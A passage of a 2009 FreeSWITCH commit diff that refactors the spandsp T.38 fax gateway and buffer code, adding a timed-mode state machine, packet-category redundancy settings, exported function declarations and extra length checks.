@@ -710,7 +723,10 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-static void monitor_control_messages(t38_gateway_state_t *s, int from_modem, uint8_t *buf, int len)
+static void monitor_control_messages(t38_gateway_state_t *s,
+                                     int from_modem,
+                                     const uint8_t *buf,
+                                     int len)
 {
     static const struct
     {
@@ -750,7 +766,7 @@
     if (len < 3)
         return;
     /*endif*/
-    s->core.tcf_mode_predictable_modem_start = 0;
+    s->core.timed_mode = TIMED_MODE_IDLE;
     switch (buf[2])
     {
     case T30_CFR:
@@ -807,7 +823,7 @@
         s->core.image_data_mode = FALSE;
         s->core.short_train = FALSE;
         if (from_modem)
-            s->core.tcf_mode_predictable_modem_start = 2;
+            s->core.timed_mode = TIMED_MODE_TCF_PREDICTABLE_MODEM_START_BEGIN;
         /*endif*/
         break;
     case T30_PPS:
@@ -1007,11 +1023,15 @@
         if (hdlc_buf->contents != (data_type | FLAG_DATA))
         {
             queue_missing_indicator(s, data_type);
+            /* All real HDLC messages in the FAX world start with 0xFF. If this one is not starting
+               with 0xFF it would appear some octets must have been missed before this one. */
+            if (len <= 0  ||  buf[0] != 0xFF)
+                s->core.hdlc_to_modem.buf[s->core.hdlc_to_modem.in].flags |= HDLC_FLAG_MISSING_DATA;
             hdlc_buf = &s->core.hdlc_to_modem.buf[s->core.hdlc_to_modem.in];
         }
         /*endif*/
         /* Check if this data would overflow the buffer. */
-        if (hdlc_buf->len + len > T38_MAX_HDLC_LEN)
+        if (len <= 0  ||  hdlc_buf->len + len > T38_MAX_HDLC_LEN)
             break;
         /*endif*/
         hdlc_buf->contents = (data_type | FLAG_DATA);
@@ -1275,7 +1295,8 @@
             queue_missing_indicator(s, data_type);
             hdlc_buf = &s->core.hdlc_to_modem.buf[s->core.hdlc_to_modem.in];
         }
-        t38_non_ecm_buffer_inject(&s->core.non_ecm_to_modem, buf, len);
+        if (len > 0)
+            t38_non_ecm_buffer_inject(&s->core.non_ecm_to_modem, buf, len);
         xx->corrupt_current_frame[0] = FALSE;
         break;
     case T38_FIELD_T4_NON_ECM_SIG_END:
@@ -1477,7 +1498,7 @@
 
 static void announce_training(t38_gateway_state_t *s)
 {
-    t38_core_send_indicator(&s->t38x.t38, set_fast_packetisation(s), s->t38x.t38.indicator_tx_count);
+    t38_core_send_indicator(&s->t38x.t38, set_fast_packetisation(s));
 }
 /*- End of function --------------------------------------------------------*/
 
@@ -1486,31 +1507,36 @@
     t38_gateway_state_t *s;
 
     s = (t38_gateway_state_t *) user_data;
+    span_log(&s->logging, SPAN_LOG_FLOW, "Non-ECM signal status is %s (%d)\n", signal_status_to_str(status), status);
     switch (status)
     {
     case SIG_STATUS_TRAINING_IN_PROGRESS:
-        span_log(&s->logging, SPAN_LOG_FLOW, "Non-ECM carrier training in progress\n");
-        if (s->core.tcf_mode_predictable_modem_start)
-            s->core.tcf_mode_predictable_modem_start = 0;
+        if (s->core.timed_mode == TIMED_MODE_IDLE)
+        {
+            announce_training(s);
+        }
         else
-            announce_training(s);
+        {
+            if (s->core.timed_mode == TIMED_MODE_TCF_PREDICTABLE_MODEM_START_PAST_V21_MODEM)
+                s->core.timed_mode = TIMED_MODE_TCF_PREDICTABLE_MODEM_START_FAST_MODEM_SEEN;
+            else
+                s->core.samples_to_timeout = ms_to_samples(500);
+            set_fast_packetisation(s);
+        }
         break;
     case SIG_STATUS_TRAINING_FAILED:
-        span_log(&s->logging, SPAN_LOG_FLOW, "Non-ECM carrier training failed\n");
         break;
     case SIG_STATUS_TRAINING_SUCCEEDED:
         /* The modem is now trained */
-        span_log(&s->logging, SPAN_LOG_FLOW, "Non-ECM carrier trained\n");
         s->audio.modems.rx_signal_present = TRUE;
         s->audio.modems.rx_trained = TRUE;
+        s->core.timed_mode = TIMED_MODE_IDLE;
+        s->core.samples_to_timeout = 0;
         to_t38_buffer_init(&s->core.to_t38);
         break;
     case SIG_STATUS_CARRIER_UP:
-        span_log(&s->logging, SPAN_LOG_FLOW, "Non-ECM carrier up\n");
         break;
     case SIG_STATUS_CARRIER_DOWN:
-        span_log(&s->logging, SPAN_LOG_FLOW, "Non-ECM carrier down\n");
-        s->core.tcf_mode_predictable_modem_start = 0;
         switch (s->t38x.current_tx_data_type)
         {
         case T38_DATA_V17_7200:
@@ -1521,8 +1547,13 @@
         case T38_DATA_V27TER_4800:
         case T38_DATA_V29_7200:
         case T38_DATA_V29_9600:
-            non_ecm_push_residue(s);
-            t38_core_send_indicator(&s->t38x.t38, T38_IND_NO_SIGNAL, s->t38x.t38.indicator_tx_count);
+            if (s->core.timed_mode != TIMED_MODE_TCF_PREDICTABLE_MODEM_START_FAST_MODEM_ANNOUNCED)
+            {
+                /* TODO: If the carrier really did fall for good during the 500ms TEP blocking timeout, we
+                         won't declare the no-signal condition. */
+                non_ecm_push_residue(s);
+                t38_core_send_indicator(&s->t38x.t38, T38_IND_NO_SIGNAL);
+            }
             restart_rx_modem(s);
             break;
         }
@@ -1553,11 +1584,11 @@
     if (s->bit_no)
     {
         /* There is a fractional octet in progress. We might as well send every last bit we can. */
-        s->data[s->data_ptr++] = s->bit_stream << (8 - s->bit_no);
+        s->data[s->data_ptr++] = (uint8_t) (s->bit_stream << (8 - s->bit_no));
     }
-    t38_core_send_data(&t->t38x.t38, t->t38x.current_tx_data_type, T38_FIELD_T4_NON_ECM_SIG_END, s->data, s->data_ptr, t->t38x.t38.data_end_tx_count);
+    t38_core_send_data(&t->t38x.t38, t->t38x.current_tx_data_type, T38_FIELD_T4_NON_ECM_SIG_END, s->data, s->data_ptr, T38_PACKET_CATEGORY_IMAGE_DATA_END);
+    s->in_bits += s->bits_absorbed;
     s->out_octets += s->data_ptr;
-    s->in_bits += s->bits_absorbed;
     s->data_ptr = 0;
 }
 /*- End of function --------------------------------------------------------*/
@@ -1569,9 +1600,9 @@
     s = &t->core.to_t38;
     if (s->data_ptr)
     {
-        t38_core_send_data(&t->t38x.t38, t->t38x.current_tx_data_type, T38_FIELD_T4_NON_ECM_DATA, s->data, s->data_ptr, t->t38x.t38.data_tx_count);
+        t38_core_send_data(&t->t38x.t38, t->t38x.current_tx_data_type, T38_FIELD_T4_NON_ECM_DATA, s->data, s->data_ptr, T38_PACKET_CATEGORY_IMAGE_DATA);
+        s->in_bits += s->bits_absorbed;
         s->out_octets += s->data_ptr;
-        s->in_bits += s->bits_absorbed;
         s->bits_absorbed = 0;
         s->data_ptr = 0;
     }
@@ -1651,9 +1682,10 @@
 static void hdlc_rx_status(hdlc_rx_state_t *t, int status)
 {
     t38_gateway_state_t *s;
+    int category;
 
-    s = (t38_gateway_state_t *) t->user_data;
-    span_log(&s->logging, SPAN_LOG_FLOW, "HDLC carrier status is %s (%d)\n", signal_status_to_str(status), status);
+    s = (t38_gateway_state_t *) t->frame_user_data;
+    span_log(&s->logging, SPAN_LOG_FLOW, "HDLC signal status is %s (%d)\n", signal_status_to_str(status), status);
     switch (status)
     {
     case SIG_STATUS_TRAINING_IN_PROGRESS:
@@ -1681,19 +1713,21 @@
     case SIG_STATUS_CARRIER_DOWN:
         if (t->framing_ok_announced)
         {
-            t38_core_send_data(&s->t38x.t38, s->t38x.current_tx_data_type, T38_FIELD_HDLC_SIG_END, NULL, 0, s->t38x.t38.data_end_tx_count);
-            t38_core_send_indicator(&s->t38x.t38, T38_IND_NO_SIGNAL, s->t38x.t38.indicator_tx_count);
+            category = (s->t38x.current_tx_data_type == T38_DATA_V21)  ?  T38_PACKET_CATEGORY_CONTROL_DATA_END  :  T38_PACKET_CATEGORY_IMAGE_DATA_END;
+            t38_core_send_data(&s->t38x.t38, s->t38x.current_tx_data_type, T38_FIELD_HDLC_SIG_END, NULL, 0, category);
+            t38_core_send_indicator(&s->t38x.t38, T38_IND_NO_SIGNAL);
             t->framing_ok_announced = FALSE;
         }
         restart_rx_modem(s);
-        if (s->core.tcf_mode_predictable_modem_start == 2)
+        if (s->core.timed_mode == TIMED_MODE_TCF_PREDICTABLE_MODEM_START_BEGIN)
         {
             /* If we are doing TCF, we need to announce the fast carrier training very
                quickly, to ensure it starts 75+-20ms after the HDLC carrier ends. Waiting until
                it trains will be too late. We need to announce the fast modem a fixed time after
-               the end of the V.21 carrier, in anticipation of its arrival. */
+               the end of the V.21 carrier, in anticipation of its arrival. If we announce it,
+               and it doesn't arrive, we will worry about that later. */
             s->core.samples_to_timeout = ms_to_samples(75);
-            s->core.tcf_mode_predictable_modem_start = 1;
+            s->core.timed_mode = TIMED_MODE_TCF_PREDICTABLE_MODEM_START_PAST_V21_MODEM;
         }
         break;
     default:
@@ -1707,8 +1741,9 @@
 {
     t38_gateway_state_t *s;
     t38_gateway_to_t38_state_t *u;
+    int category;
     
-    s = (t38_gateway_state_t *) t->user_data;
+    s = (t38_gateway_state_t *) t->frame_user_data;
     u = &s->core.to_t38;
     if ((t->raw_bit_stream & 0x80))
     {
@@ -1725,6 +1760,7 @@
         /* Hit HDLC flag */
         if (t->flags_seen >= t->framing_ok_threshold)
         {
+            category = (s->t38x.current_tx_data_type == T38_DATA_V21)  ?  T38_PACKET_CATEGORY_CONTROL_DATA  :  T38_PACKET_CATEGORY_IMAGE_DATA;
             if (t->len)
             {
                 /* This is not back-to-back flags */
@@ -1733,7 +1769,7 @@
                     if (u->data_ptr)
                     {
                         bit_reverse(u->data, t->buffer + t->len - 2 - u->data_ptr, u->data_ptr);
-                        t38_core_send_data(&s->t38x.t38, s->t38x.current_tx_data_type, T38_FIELD_HDLC_DATA, u->data, u->data_ptr, s->t38x.t38.data_tx_count);
+                        t38_core_send_data(&s->t38x.t38, s->t38x.current_tx_data_type, T38_FIELD_HDLC_DATA, u->data, u->data_ptr, category);
                     }
                     /*endif*/
                     if (t->num_bits != 7)
@@ -1743,7 +1779,7 @@
                         /* It seems some boxes may not like us sending a _SIG_END here, and then another
                            when the carrier actually drops. Lets just send T38_FIELD_HDLC_FCS_OK here. */
                         if (t->len > 2)
-                            t38_core_send_data(&s->t38x.t38, s->t38x.current_tx_data_type, T38_FIELD_HDLC_FCS_BAD, NULL, 0, s->t38x.t38.data_tx_count);
+                            t38_core_send_data(&s->t38x.t38, s->t38x.current_tx_data_type, T38_FIELD_HDLC_FCS_BAD, NULL, 0, category);
                         /*endif*/
                     }
                     else if ((u->crc & 0xFFFF) != 0xF0B8)
@@ -1753,7 +1789,7 @@
                         /* It seems some boxes may not like us sending a _SIG_END here, and then another
                            when the carrier actually drops. Lets just send T38_FIELD_HDLC_FCS_OK here. */
                         if (t->len > 2)
-                            t38_core_send_data(&s->t38x.t38, s->t38x.current_tx_data_type, T38_FIELD_HDLC_FCS_BAD, NULL, 0, s->t38x.t38.data_tx_count);
+                            t38_core_send_data(&s->t38x.t38, s->t38x.current_tx_data_type, T38_FIELD_HDLC_FCS_BAD, NULL, 0, category);
                         /*endif*/
                     }
                     else
@@ -1778,7 +1814,7 @@
                         /*endif*/
                         /* It seems some boxes may not like us sending a _SIG_END here, and then another
                            when the carrier actually drops. Lets just send T38_FIELD_HDLC_FCS_OK here. */
-                        t38_core_send_data(&s->t38x.t38, s->t38x.current_tx_data_type, T38_FIELD_HDLC_FCS_OK, NULL, 0, s->t38x.t38.data_tx_count);
+                        t38_core_send_data(&s->t38x.t38, s->t38x.current_tx_data_type, T38_FIELD_HDLC_FCS_OK, NULL, 0, category);
                     }
                     /*endif*/
                 }
@@ -1803,7 +1839,7 @@
             {
                 if (s->t38x.current_tx_data_type == T38_DATA_V21)
                 {
-                    t38_core_send_indicator(&s->t38x.t38, set_slow_packetisation(s), s->t38x.t38.indicator_tx_count);
+                    t38_core_send_indicator(&s->t38x.t38, set_slow_packetisation(s));
                     s->audio.modems.rx_signal_present = TRUE;
                 }
                 /*endif*/
@@ -1829,6 +1865,7 @@
 {
     t38_gateway_state_t *s;
     t38_gateway_to_t38_state_t *u;
+    int category;
 
     if (new_bit < 0)
     {
@@ -1863,7 +1900,7 @@
         return;
     }
     /*endif*/
-    s = (t38_gateway_state_t *) t->user_data;
+    s = (t38_gateway_state_t *) t->frame_user_data;
     u = &s->core.to_t38;
     t->buffer[t->len] = (uint8_t) t->byte_in_progress;
     /* Calculate the CRC progressively, before we start altering the frame */
@@ -1882,7 +1919,8 @@
     if (++u->data_ptr >= u->octets_per_data_packet)
     {
         bit_reverse(u->data, t->buffer + t->len - 2 - u->data_ptr, u->data_ptr);
-        t38_core_send_data(&s->t38x.t38, s->t38x.current_tx_data_type, T38_FIELD_HDLC_DATA, u->data, u->data_ptr, s->t38x.t38.data_tx_count);
+        category = (s->t38x.current_tx_data_type == T38_DATA_V21)  ?  T38_PACKET_CATEGORY_CONTROL_DATA  :  T38_PACKET_CATEGORY_IMAGE_DATA;
+        t38_core_send_data(&s->t38x.t38, s->t38x.current_tx_data_type, T38_FIELD_HDLC_DATA, u->data, u->data_ptr, category);
         /* Since we delay transmission by 2 octets, we should now have sent the last of the data octets when
            we have just received the last of the CRC octets. */
         u->data_ptr = 0;
@@ -1915,7 +1953,7 @@
     s->t38x.current_tx_data_type = T38_DATA_V21;
     fsk_rx_init(&(s->audio.modems.v21_rx), &preset_fsk_specs[FSK_V21CH2], TRUE, (put_bit_func_t) t38_hdlc_rx_put_bit, &(s->audio.modems.hdlc_rx));
 #if 0
-    fsk_rx_signal_cutoff(&(s->audio.modems.v21_rx), -45.5);
+    fsk_rx_signal_cutoff(&(s->audio.modems.v21_rx), -45.5f);
 #endif
     if (s->core.image_data_mode  &&  s->core.ecm_mode)
     {
@@ -1963,21 +2001,44 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int t38_gateway_rx(t38_gateway_state_t *s, int16_t amp[], int len)
+SPAN_DECLARE(int) t38_gateway_rx(t38_gateway_state_t *s, int16_t amp[], int len)
 {
     int i;
 
 #if defined(LOG_FAX_AUDIO)
     if (s->audio.modems.audio_rx_log >= 0)
         write(s->audio.modems.audio_rx_log, amp, len*sizeof(int16_t));
+    /*endif*/
 #endif
     if (s->core.samples_to_timeout > 0)
     {
         if ((s->core.samples_to_timeout -= len) <= 0)
         {
-            if (s->core.tcf_mode_predictable_modem_start == 1)
+            switch (s->core.timed_mode)
+            {
+            case TIMED_MODE_TCF_PREDICTABLE_MODEM_START_PAST_V21_MODEM:
+                /* Timed announcement of training, 75ms after the DCS carrier fell. */
+                s->core.timed_mode = TIMED_MODE_TCF_PREDICTABLE_MODEM_START_FAST_MODEM_ANNOUNCED;
                 announce_training(s);
-            /*endif*/
+                break;
+            case TIMED_MODE_TCF_PREDICTABLE_MODEM_START_FAST_MODEM_SEEN:
+                /* Timed announcement of training, 75ms after the DCS carrier fell. */
+                /* Use a timeout to ride over TEP, if it is present */
+                s->core.samples_to_timeout = ms_to_samples(500);
+                s->core.timed_mode = TIMED_MODE_TCF_PREDICTABLE_MODEM_START_FAST_MODEM_ANNOUNCED;
+                announce_training(s);
+                break;
+            case TIMED_MODE_TCF_PREDICTABLE_MODEM_START_FAST_MODEM_ANNOUNCED:
+                s->core.timed_mode = TIMED_MODE_IDLE;
+                span_log(&s->logging, SPAN_LOG_FLOW, "TEP jamming expired\n");
+                break;
+            case TIMED_MODE_STARTUP:
+                /* Ensure a no-signal condition goes out the moment the received audio starts */
+                t38_core_send_indicator(&s->t38x.t38, T38_IND_NO_SIGNAL);
+                s->core.timed_mode = TIMED_MODE_IDLE;
+                break;
+            }
+            /*endswitch*/
         }
         /*endif*/
     }
@@ -1990,7 +2051,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int t38_gateway_tx(t38_gateway_state_t *s, int16_t amp[], int max_len)
+SPAN_DECLARE(int) t38_gateway_tx(t38_gateway_state_t *s, int16_t amp[], int max_len)
 {
     int len;
 #if defined(LOG_FAX_AUDIO)
@@ -2035,7 +2096,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void t38_gateway_get_transfer_statistics(t38_gateway_state_t *s, t38_stats_t *t)
+SPAN_DECLARE(void) t38_gateway_get_transfer_statistics(t38_gateway_state_t *s, t38_stats_t *t)
 {
     memset(t, 0, sizeof(*t));
     t->bit_rate = s->core.fast_bit_rate;
@@ -2044,57 +2105,69 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void t38_gateway_set_ecm_capability(t38_gateway_state_t *s, int ecm_allowed)
+SPAN_DECLARE(t38_core_state_t *) t38_gateway_get_t38_core_state(t38_gateway_state_t *s)
 {
+    return &s->t38x.t38;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(logging_state_t *) t38_gateway_get_logging_state(t38_gateway_state_t *s)
+{
+    return &s->logging;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(void) t38_gateway_set_ecm_capability(t38_gateway_state_t *s, int ecm_allowed)
+{
     s->core.ecm_allowed = ecm_allowed;
 }
 /*- End of function --------------------------------------------------------*/
 
-void t38_gateway_set_transmit_on_idle(t38_gateway_state_t *s, int transmit_on_idle)
+SPAN_DECLARE(void) t38_gateway_set_transmit_on_idle(t38_gateway_state_t *s, int transmit_on_idle)
 {
     s->audio.modems.transmit_on_idle = transmit_on_idle;
 }
 /*- End of function --------------------------------------------------------*/
 
-void t38_gateway_set_supported_modems(t38_gateway_state_t *s, int supported_modems)
+SPAN_DECLARE(void) t38_gateway_set_supported_modems(t38_gateway_state_t *s, int supported_modems)
 {
     s->core.supported_modems = supported_modems;
     if ((s->core.supported_modems & T30_SUPPORT_V17))
-        s->t38x.t38.fastest_image_data_rate = 14400;
+        t38_set_fastest_image_data_rate(&s->t38x.t38, 14400);
     else if ((s->core.supported_modems & T30_SUPPORT_V29))
-        s->t38x.t38.fastest_image_data_rate = 9600;
+        t38_set_fastest_image_data_rate(&s->t38x.t38, 9600);
     else
-        s->t38x.t38.fastest_image_data_rate = 4800;
+        t38_set_fastest_image_data_rate(&s->t38x.t38, 4800);
     /*endif*/
 }
 /*- End of function --------------------------------------------------------*/
 
-void t38_gateway_set_nsx_suppression(t38_gateway_state_t *s,
-                                     const uint8_t *from_t38,
-                                     int from_t38_len,
-                                     const uint8_t *from_modem,
-                                     int from_modem_len)
+SPAN_DECLARE(void) t38_gateway_set_nsx_suppression(t38_gateway_state_t *s,
+                                                   const uint8_t *from_t38,
+                                                   int from_t38_len,
+                                                   const uint8_t *from_modem,
+                                                   int from_modem_len)
 {
     s->t38x.suppress_nsx_len[0] = (from_t38_len < 0  ||  from_t38_len < MAX_NSX_SUPPRESSION)  ?  (from_t38_len + 3)  :  0;
     s->t38x.suppress_nsx_len[1] = (from_modem_len < 0  ||  from_modem_len < MAX_NSX_SUPPRESSION)  ?  (from_modem_len + 3)  :  0;
 }
 /*- End of function --------------------------------------------------------*/
 
-void t38_gateway_set_tep_mode(t38_gateway_state_t *s, int use_tep)
+SPAN_DECLARE(void) t38_gateway_set_tep_mode(t38_gateway_state_t *s, int use_tep)
 {
     s->audio.modems.use_tep = use_tep;
 }
 /*- End of function --------------------------------------------------------*/
 
-void t38_gateway_set_fill_bit_removal(t38_gateway_state_t *s, int remove)
+SPAN_DECLARE(void) t38_gateway_set_fill_bit_removal(t38_gateway_state_t *s, int remove)
 {
     s->core.to_t38.fill_bit_removal = remove;
 }
 /*- End of function --------------------------------------------------------*/
 
-void t38_gateway_set_real_time_frame_handler(t38_gateway_state_t *s,
-                                             t38_gateway_real_time_frame_handler_t *handler,
-                                             void *user_data)
+SPAN_DECLARE(void) t38_gateway_set_real_time_frame_handler(t38_gateway_state_t *s,
+                                                           t38_gateway_real_time_frame_handler_t *handler,
+                                                           void *user_data)
 {
     s->core.real_time_frame_handler = handler;
     s->core.real_time_frame_user_data = user_data;
@@ -2103,7 +2176,22 @@
 
 static int t38_gateway_audio_init(t38_gateway_state_t *s)
 {
-    t38_fax_modems_init(&s->audio.modems, FALSE, s);
+    fax_modems_init(&s->audio.modems,
+                    FALSE,
+                    NULL,
+                    hdlc_underflow_handler,
+                    non_ecm_put_bit,
+                    t38_non_ecm_buffer_get_bit,
+                    tone_detected,
+                    s);
+    /* We need to use progressive HDLC transmit, and a special HDLC receiver, which is different
+       from the other uses of FAX modems. */
+    hdlc_tx_init(&s->audio.modems.hdlc_tx, FALSE, 2, TRUE, hdlc_underflow_handler, s);
+    fsk_rx_set_put_bit(&s->audio.modems.v21_rx, (put_bit_func_t) t38_hdlc_rx_put_bit, &s->audio.modems.hdlc_rx);
+    /* TODO: Don't use the very low cutoff levels we would like to. We get some quirks if we do.
+       We need to sort this out. */
+    fsk_rx_signal_cutoff(&s->audio.modems.v21_rx, -30.0f);
+    v29_rx_signal_cutoff(&s->audio.modems.v29_rx, -28.5f);
     return 0;
 }
 /*- End of function --------------------------------------------------------*/
@@ -2122,16 +2210,18 @@
                   (void *) t,
                   tx_packet_handler,
                   tx_packet_user_data);
-    s->t38.indicator_tx_count = INDICATOR_TX_COUNT;
-    s->t38.data_tx_count = DATA_TX_COUNT;
-    s->t38.data_end_tx_count = DATA_END_TX_COUNT;
+    t38_set_redundancy_control(&s->t38, T38_PACKET_CATEGORY_INDICATOR, INDICATOR_TX_COUNT);
+    t38_set_redundancy_control(&s->t38, T38_PACKET_CATEGORY_CONTROL_DATA, DATA_TX_COUNT);
+    t38_set_redundancy_control(&s->t38, T38_PACKET_CATEGORY_CONTROL_DATA_END, DATA_END_TX_COUNT);
+    t38_set_redundancy_control(&s->t38, T38_PACKET_CATEGORY_IMAGE_DATA, DATA_TX_COUNT);
+    t38_set_redundancy_control(&s->t38, T38_PACKET_CATEGORY_IMAGE_DATA_END, DATA_END_TX_COUNT);
     return 0;
 }
 /*- End of function --------------------------------------------------------*/
 
-t38_gateway_state_t *t38_gateway_init(t38_gateway_state_t *s,
-                                      t38_tx_packet_handler_t *tx_packet_handler,
-                                      void *tx_packet_user_data)
+SPAN_DECLARE(t38_gateway_state_t *) t38_gateway_init(t38_gateway_state_t *s,
+                                                     t38_tx_packet_handler_t *tx_packet_handler,
+                                                     void *tx_packet_user_data)
 {
     if (tx_packet_handler == NULL)
         return NULL;
@@ -2158,6 +2248,8 @@
     s->core.ecm_allowed = FALSE;
     t38_non_ecm_buffer_init(&s->core.non_ecm_to_modem, FALSE, 0);
     restart_rx_modem(s);
+    s->core.timed_mode = TIMED_MODE_STARTUP;
+    s->core.samples_to_timeout = 1;
 #if defined(LOG_FAX_AUDIO)
     {
         char buf[100 + 1];
@@ -2192,8 +2284,14 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int t38_gateway_free(t38_gateway_state_t *s)
+SPAN_DECLARE(int) t38_gateway_release(t38_gateway_state_t *s)
 {
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) t38_gateway_free(t38_gateway_state_t *s)
+{
     free(s);
     return 0;
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/t38_non_ecm_buffer.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/t38_non_ecm_buffer.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/t38_non_ecm_buffer.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -23,7 +23,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: t38_non_ecm_buffer.c,v 1.3 2008/09/07 12:45:17 steveu Exp $
+ * $Id: t38_non_ecm_buffer.c,v 1.8 2009/02/10 13:06:46 steveu Exp $
  */
 
 /*! \file */
@@ -38,13 +38,13 @@
 #include <fcntl.h>
 #include <time.h>
 #include <string.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 #include <assert.h>
 #if defined(LOG_FAX_AUDIO)
 #include <unistd.h>
@@ -56,9 +56,10 @@
 #include "spandsp/dc_restore.h"
 #include "spandsp/bit_operations.h"
 #include "spandsp/async.h"
-
 #include "spandsp/t38_non_ecm_buffer.h"
 
+#include "spandsp/private/t38_non_ecm_buffer.h"
+
 static void restart_buffer(t38_non_ecm_buffer_state_t *s)
 {
     /* This should be called when draining the buffer is complete, which should
@@ -74,7 +75,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int t38_non_ecm_buffer_get_bit(void *user_data)
+SPAN_DECLARE_NONSTD(int) t38_non_ecm_buffer_get_bit(void *user_data)
 {
     t38_non_ecm_buffer_state_t *s;
     int bit;
@@ -113,7 +114,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void t38_non_ecm_buffer_push(t38_non_ecm_buffer_state_t *s)
+SPAN_DECLARE(void) t38_non_ecm_buffer_push(t38_non_ecm_buffer_state_t *s)
 {
     /* Don't flow control the data any more. Just push out the remainder of the data
        in the buffer as fast as we can, and shut down. */
@@ -122,7 +123,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void t38_non_ecm_buffer_inject(t38_non_ecm_buffer_state_t *s, const uint8_t *buf, int len)
+SPAN_DECLARE(void) t38_non_ecm_buffer_inject(t38_non_ecm_buffer_state_t *s, const uint8_t *buf, int len)
 {
     int i;
     int upper;
@@ -217,7 +218,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void t38_non_ecm_buffer_report_input_status(t38_non_ecm_buffer_state_t *s, logging_state_t *logging)
+SPAN_DECLARE(void) t38_non_ecm_buffer_report_input_status(t38_non_ecm_buffer_state_t *s, logging_state_t *logging)
 {
     if (s->in_octets  ||  s->min_row_bits_fill_octets)
     {
@@ -234,7 +235,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void t38_non_ecm_buffer_report_output_status(t38_non_ecm_buffer_state_t *s, logging_state_t *logging)
+SPAN_DECLARE(void) t38_non_ecm_buffer_report_output_status(t38_non_ecm_buffer_state_t *s, logging_state_t *logging)
 {
     if (s->out_octets  ||  s->flow_control_fill_octets)
     {
@@ -251,15 +252,20 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void t38_non_ecm_buffer_set_mode(t38_non_ecm_buffer_state_t *s, int mode, int min_row_bits)
+SPAN_DECLARE(void) t38_non_ecm_buffer_set_mode(t38_non_ecm_buffer_state_t *s, int mode, int min_row_bits)
 {
     s->image_data_mode = mode;
     s->min_row_bits = min_row_bits;
 }
 /*- End of function --------------------------------------------------------*/
 
-t38_non_ecm_buffer_state_t *t38_non_ecm_buffer_init(t38_non_ecm_buffer_state_t *s, int mode, int min_row_bits)
+SPAN_DECLARE(t38_non_ecm_buffer_state_t *) t38_non_ecm_buffer_init(t38_non_ecm_buffer_state_t *s, int mode, int min_row_bits)
 {
+    if (s == NULL)
+    {
+        if ((s = (t38_non_ecm_buffer_state_t *) malloc(sizeof(*s))) == NULL)
+            return NULL;
+    }
     memset(s, 0, sizeof(*s));
     s->octet = 0xFF;
     s->flow_control_fill_octet = 0xFF;
@@ -270,4 +276,18 @@
     return s;
 }
 /*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) t38_non_ecm_buffer_release(t38_non_ecm_buffer_state_t *s)
+{
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) t38_non_ecm_buffer_free(t38_non_ecm_buffer_state_t *s)
+{
+    if (s)
+        free(s);
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
 /*- End of file ------------------------------------------------------------*/

Modified: freeswitch/branches/seven/libs/spandsp/src/t38_terminal.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/t38_terminal.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/t38_terminal.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -5,7 +5,7 @@
  *
  * Written by Steve Underwood <steveu@coppice.org>
  *
- * Copyright (C) 2005, 2006 Steve Underwood
+ * Copyright (C) 2005, 2006, 2008 Steve Underwood
  *
  * All rights reserved.
  *
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: t38_terminal.c,v 1.101 2008/09/07 12:45:17 steveu Exp $
+ * $Id: t38_terminal.c,v 1.127 2009/07/14 13:54:22 steveu Exp $
  */
 
 /*! \file */
@@ -31,19 +31,19 @@
 #include "config.h"
 #endif
 
+#include <inttypes.h>
 #include <stdlib.h>
 #include <stdio.h>
-#include <inttypes.h>
 #include <fcntl.h>
 #include <time.h>
 #include <string.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 #include <assert.h>
 #include <tiffio.h>
 
@@ -57,12 +57,12 @@
 #include "spandsp/async.h"
 #include "spandsp/hdlc.h"
 #include "spandsp/fsk.h"
+#include "spandsp/v29tx.h"
 #include "spandsp/v29rx.h"
-#include "spandsp/v29tx.h"
+#include "spandsp/v27ter_tx.h"
 #include "spandsp/v27ter_rx.h"
-#include "spandsp/v27ter_tx.h"
+#include "spandsp/v17tx.h"
 #include "spandsp/v17rx.h"
-#include "spandsp/v17tx.h"
 #include "spandsp/t4.h"
 #include "spandsp/t30_fcf.h"
 #include "spandsp/t35.h"
@@ -72,6 +72,12 @@
 #include "spandsp/t38_core.h"
 #include "spandsp/t38_terminal.h"
 
+#include "spandsp/private/logging.h"
+#include "spandsp/private/t4.h"
+#include "spandsp/private/t30.h"
+#include "spandsp/private/t38_core.h"
+#include "spandsp/private/t38_terminal.h"
+
 /* Settings suitable for paced transmission over a UDP transport */
 #define MS_PER_TX_CHUNK                         30
 
@@ -85,29 +91,46 @@
 /* Backstop timeout if reception of packets stops in the middle of a burst */
 #define MID_RX_TIMEOUT                          15000
 
